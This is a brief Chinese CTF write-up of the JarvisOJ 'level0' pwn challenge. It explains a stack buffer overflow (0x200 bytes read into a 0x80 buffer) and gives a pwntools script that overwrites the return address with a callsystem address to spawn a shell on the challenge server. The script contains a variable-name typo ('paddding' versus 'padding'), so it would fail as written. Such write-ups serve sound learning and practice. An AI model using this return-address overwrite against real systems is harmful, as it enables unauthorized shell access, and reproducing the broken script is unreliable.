前幾天做了幾道pwn題,記錄一下
https://www.jarvisoj.com/challenges
拿到程序後先file可知爲64位程序和動態鏈接
file level0
然後checksec檢查保護機制
checksec level0
將程序拖到ida中,F5反彙編,得到僞c代碼
雙擊vulnerable_function()函數
可以看到read函數讀0x200進入buf中,而buf空間只有0x80
shift+f12可查看到有/bin/sh,並且在400596處還有callsystem函數
思路:將vulnerable_function()函數的返回地址覆蓋爲system('/bin/sh')的地址
level0.py如下:
from pwn import *
sh=remote('pwn2.jarvisoj.com',9881)
paddding='a'*0x88
callsystem=0x400596
payload=padding+p64(callsystem)
sh.send(payload)
sh.interactive()
sh.close()
運行level0.py
python level0.py